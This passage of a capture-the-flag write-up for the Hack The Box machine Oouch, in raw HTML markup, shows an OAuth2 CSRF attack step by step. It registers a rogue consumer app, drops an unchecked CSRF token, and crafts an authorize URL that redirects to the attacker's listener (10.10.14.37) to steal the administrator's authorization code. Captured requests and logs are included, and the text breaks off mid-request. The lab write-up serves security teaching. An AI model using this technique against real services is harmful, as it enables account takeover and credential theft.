endpoint\u00a0<\/span><code>\/oauth\/applications<\/code><span>\u00a0is not only for application registration. It gives an overview over all registered consumer applications and maybe only this view is protected by the administrator. So lets try to visit\u00a0<\/span><code>\/oauth\/applications\/register<\/code><span>\u00a0directly:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/22-development.png\" title_text=\"22-development\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>Here we go! By entering the development credentials, we get to the registration interface for new consumer applications.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/23-register-1.png\" title_text=\"23-register-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p><span>So it seems like we are able to register a new\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em><span>consumer application. Can we benefit from this? The answer is:\u00a0<\/span><em>maybe<\/em><span>. Remember our\u00a0<\/span><em>OAuth<span>\u00a0<\/span><\/em><span>discussion from above? We said that some authorization servers do not protect their authorization endpoint by\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em><span>tokens. In this case, we could force other user accounts to allow access for our consumer application by performing a\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em><span>attack. Lets give it a try! First we register our new consumer application. We choose a name of\u00a0<\/span><em>Test<\/em><span>, make the application\u00a0<\/span><em>confidential<\/em><span>\u00a0and register it for the\u00a0<\/span><em>authorization_code<\/em><span>\u00a0flow. The redirect\u00a0<\/span><em>URL<span>\u00a0<\/span><\/em><span>points of course to our own\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em><span>listener:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/24-register-1-1.png\" title_text=\"24-register-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>Now we need to check how an authorization request for data access looks like. We can search in our Burp-State for requests on the<span>\u00a0<\/span><code>\/oauth\/authorize<\/code><span>\u00a0<\/span>endpoint and will find the following format:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">POST<\/span><span class=\"enlighter-text\"> \/oauth\/authorize\/?client_id=<\/span><span class=\"enlighter-k0\">UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82<\/span><span class=\"enlighter-text\">&amp;response_type=code&amp;redirect_uri=http:\/\/consumer.oouch.htb:<\/span><span class=\"enlighter-n1\">5000<\/span><span class=\"enlighter-text\">\/oauth\/login\/token&amp;scope=read <\/span><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\">: authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">: text\/html,application\/xhtml+xml,application\/xml;q=0.<\/span><span class=\"enlighter-n1\">9<\/span><span class=\"enlighter-text\">,*\/*;q=0.<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Language<\/span><span class=\"enlighter-text\">: en-<\/span><span class=\"enlighter-k0\">US<\/span><span class=\"enlighter-text\">,en;q=0.<\/span><span class=\"enlighter-n1\">5<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Encoding<\/span><span class=\"enlighter-text\">: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: application\/x-www-form-urlencoded<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Cookie<\/span><span class=\"enlighter-text\">: csrftoken=4gdYgO4ALPLbDTs9HENL7SlowWpidXFomyLC6SGBrCjOi6ie5bmbfU9RSxw6er1H; sessionid=eo4xm3myi2dv13tk0a59cv167qqjd71i<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">264<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">csrfmiddlewaretoken=<\/span><span class=\"enlighter-k0\">RrBXLf7cGwpEkCC0fvvHRRK7pbHw7wrRAzEoZM5PBHvhmibBrOfLvPTaHYrcJrra<\/span><span class=\"enlighter-text\">&amp;redirect_uri=http%3A%2F%2Fconsumer.oouch.htb%3A5000%2Foauth%2Flogin%2Ftoken&amp;scope=read&amp;client_id=<\/span><span class=\"enlighter-k0\">UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82<\/span><span class=\"enlighter-text\">&amp;state=&amp;response_type=code&amp;allow=<\/span><span class=\"enlighter-k0\">Authorize<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Noticed the<span>\u00a0<\/span><code>allow=Authorize<\/code><span>\u00a0<\/span>parameter at the end? This is a clear indication that this is already the final authorization request. One can also look at the response to see this, since the response contains a redirect to the<span>\u00a0<\/span><em>consumer application<\/em><span>\u00a0<\/span>containing the<span>\u00a0<\/span><em>authorization_code<\/em>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">302<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">Found<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: text\/html; charset=utf-<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Location<\/span><span class=\"enlighter-text\">: http:\/\/consumer.oouch.htb:<\/span><span class=\"enlighter-n1\">5000<\/span><span class=\"enlighter-text\">\/oauth\/login\/token?code=9Ecm8AKAOZFCs1YJCClXi17JEdQjmH<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">X<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Frame<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Options<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">SAMEORIGIN<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Vary<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-k0\">Cookie<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>So this is the request that we need to enforce by using a<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>attack. But now we are confronted with two problems:<\/p>\n<ol>\n<li>The request is a<span>\u00a0<\/span><em>POST<span>\u00a0<\/span><\/em>request. We are only able to enforce<span>\u00a0<\/span><em>GET<span>\u00a0<\/span><\/em>requests by the administrator.<\/li>\n<li>The request contains a<span>\u00a0<\/span><em>csrfmiddelwaretoken<\/em>.<\/li>\n<\/ol>\n<p>The first problem is maybe not a real problem, since our information from the<span>\u00a0<\/span><code>\/documents<\/code><span>\u00a0<\/span>endpoint said, that the authorization endpoint now also supports<span>\u00a0<\/span><em>GET<span>\u00a0<\/span><\/em>requests. By simply removing all<span>\u00a0<\/span><em>GET<span>\u00a0<\/span><\/em>parameters from the above displayed request and using Burp\u2019s \u201e<em>Change Request Method<\/em>\u201c feature, we can simply try if<span>\u00a0<\/span><em>GET<span>\u00a0<\/span><\/em>requests are also allowed:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">GET<\/span><span class=\"enlighter-text\"> \/oauth\/authorize\/?csrfmiddlewaretoken=<\/span><span class=\"enlighter-k0\">RrBXLf7cGwpEkCC0fvvHRRK7pbHw7wrRAzEoZM5PBHvhmibBrOfLvPTaHYrcJrra<\/span><span class=\"enlighter-text\">&amp;redirect_uri=http%3A%2F%2Fconsumer.oouch.htb%3A5000%2Foauth%2Flogin%2Ftoken&amp;scope=read&amp;client_id=<\/span><span class=\"enlighter-k0\">UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82<\/span><span class=\"enlighter-text\">&amp;state=&amp;response_type=code&amp;allow=<\/span><span class=\"enlighter-k0\">Authorize<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\">: authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">: text\/html,application\/xhtml+xml,application\/xml;q=0.<\/span><span class=\"enlighter-n1\">9<\/span><span class=\"enlighter-text\">,*\/*;q=0.<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Language<\/span><span class=\"enlighter-text\">: en-<\/span><span class=\"enlighter-k0\">US<\/span><span class=\"enlighter-text\">,en;q=0.<\/span><span class=\"enlighter-n1\">5<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Encoding<\/span><span class=\"enlighter-text\">: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Cookie<\/span><span class=\"enlighter-text\">: csrftoken=4gdYgO4ALPLbDTs9HENL7SlowWpidXFomyLC6SGBrCjOi6ie5bmbfU9RSxw6er1H; sessionid=eo4xm3myi2dv13tk0a59cv167qqjd71i<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The servers response indicates, that this works fine:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">302<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">Found<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: text\/html; charset=utf-<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Location<\/span><span class=\"enlighter-text\">: http:\/\/consumer.oouch.htb:<\/span><span class=\"enlighter-n1\">5000<\/span><span class=\"enlighter-text\">\/oauth\/login\/token?code=<\/span><span class=\"enlighter-k0\">L5J6KrCz85S6qAUztiphRK9xCJuRpj<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">X<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Frame<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Options<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">SAMEORIGIN<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Vary<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-k0\">Cookie<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Now, for the second problem, we need some luck. It may sounds hard to belive, but many times application developers include a<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>token inside of<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>requests, but do not validate it on the server side. If we are lucky, this is also the case here and we can simply delete the<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>token:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">GET<\/span><span class=\"enlighter-text\"> \/oauth\/authorize\/?redirect_uri=http%3A%2F%2Fconsumer.oouch.htb%3A5000%2Foauth%2Flogin%2Ftoken&amp;scope=read&amp;client_id=<\/span><span class=\"enlighter-k0\">UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82<\/span><span class=\"enlighter-text\">&amp;state=&amp;response_type=code&amp;allow=<\/span><span class=\"enlighter-k0\">Authorize<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\">: authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">User<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Agent<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Mozilla<\/span><span class=\"enlighter-text\">\/5.<\/span><span class=\"enlighter-m0\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k0\">X11<\/span><span class=\"enlighter-text\">; <\/span><span class=\"enlighter-k0\">Linux<\/span><span class=\"enlighter-text\"> x86_64; rv:60.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">Gecko<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">20100101<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">Firefox<\/span><span class=\"enlighter-text\">\/60.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">: text\/html,application\/xhtml+xml,application\/xml;q=0.<\/span><span class=\"enlighter-n1\">9<\/span><span class=\"enlighter-text\">,*\/*;q=0.<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Language<\/span><span class=\"enlighter-text\">: en-<\/span><span class=\"enlighter-k0\">US<\/span><span class=\"enlighter-text\">,en;q=0.<\/span><span class=\"enlighter-n1\">5<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Encoding<\/span><span class=\"enlighter-text\">: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Cookie<\/span><span class=\"enlighter-text\">: csrftoken=4gdYgO4ALPLbDTs9HENL7SlowWpidXFomyLC6SGBrCjOi6ie5bmbfU9RSxw6er1H; sessionid=eo4xm3myi2dv13tk0a59cv167qqjd71i<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Again, the server response stays the same:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">302<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">Found<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: text\/html; charset=utf-<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Location<\/span><span class=\"enlighter-text\">: http:\/\/consumer.oouch.htb:<\/span><span class=\"enlighter-n1\">5000<\/span><span class=\"enlighter-text\">\/oauth\/login\/token?code=uAKLN5PGo9SKoIoRYqAVKukQHuLOAL<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">X<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Frame<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Options<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">SAMEORIGIN<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Vary<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-k0\">Cookie<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Now we should be able to perform our next<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>attack on<span>\u00a0<\/span><em>qtc<\/em>. To do so, we just copy the request parameters of the above mentioned<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>request and replace all consumer application related parameters like<span>\u00a0<\/span><strong>CLIENT_ID<\/strong><span>\u00a0<\/span>or<span>\u00a0<\/span><strong>REDIRECT_URI<\/strong>, with the values for our consumer application. In my case, the corresponding<span>\u00a0<\/span><em>URL<span>\u00a0<\/span><\/em>looks like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">http:\/\/authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\">\/oauth\/authorize\/?redirect_uri=http:\/\/10.10.14.<\/span><span class=\"enlighter-n1\">37<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\">\/token&amp;scope=read&amp;client_id=<\/span><span class=\"enlighter-k0\">E6MXOXT9fxMewdL0Z26SEiaI2weJT738gFkRpWPF<\/span><span class=\"enlighter-text\">&amp;state=&amp;response_type=code&amp;allow=<\/span><span class=\"enlighter-k0\">Authorize<\/span><span class=\"enlighter-text\"> <\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>If this<span>\u00a0<\/span><em>URL<span>\u00a0<\/span><\/em>is clicked by someone how is authenticated to the authorization server, he should obtain a redirect to our<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>listener (including an authorization token for his account). So lets try to trick the system administrator again!<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/25-csrf.png\" title_text=\"25-csrf\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali www<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ python3 -m http.server<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Serving<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">HTTP<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> 0.0.0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> port <\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">http:\/\/0.0.0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> ...<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\"> - - <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\">\/Jun\/<\/span><span class=\"enlighter-n1\">2020<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">07<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">54<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> code <\/span><span class=\"enlighter-n1\">404<\/span><span class=\"enlighter-text\">, message File not found<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\"> - - <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\">\/Jun\/<\/span><span class=\"enlighter-n1\">2020<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">07<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">54<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"GET \/token?code=TKRbyZ2K2X3mJ1jbLP93OcCF3YbHWv HTTP\/1.1\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">404<\/span><span class=\"enlighter-text\"> -<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>We just obtained an<span>\u00a0<\/span><em>authorization_code<span>\u00a0<\/span><\/em>for<span>\u00a0<\/span><em>qtc<\/em>!<\/p>\n<h3 id=\"getting-ssh-access\">3.6 \u2013 Getting SSH Access<\/h3>\n<p>Our last<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>attack gave us an<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>for the system administrators account on the authorization server. If you remember the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>discussion at the beginning of this writeup, you know that this<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>gives us access to the profile data of the system administrators account on the authorization server. However, in order to request this profile data, we need to exchange the<span>\u00a0<\/span><em>authorization_code<span>\u00a0<\/span><\/em>for an<span>\u00a0<\/span><em>access_token<span>\u00a0<\/span><\/em>first.<\/p>\n<p>Obtaining<span>\u00a0<\/span><em>access_tokens<\/em><span>\u00a0<\/span>is normally done by the consumer application backend and we can not assume to find a valid request inside of our Burpstate. However, since we know that the authorization server was build using<span>\u00a0<\/span><em>Django\u2019s OAuth Toolkit<\/em>, we can simply check for the correct request format to obtain such a token. After a little bit of research, you should find that the following format works:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">POST<\/span><span class=\"enlighter-text\"> \/oauth\/token\/ <\/span><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\">: authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">User<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Agent<\/span><span class=\"enlighter-text\">: python-requests\/2.20.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Encoding<\/span><span class=\"enlighter-text\">: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">: *\/*<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Connection<\/span><span class=\"enlighter-text\">: 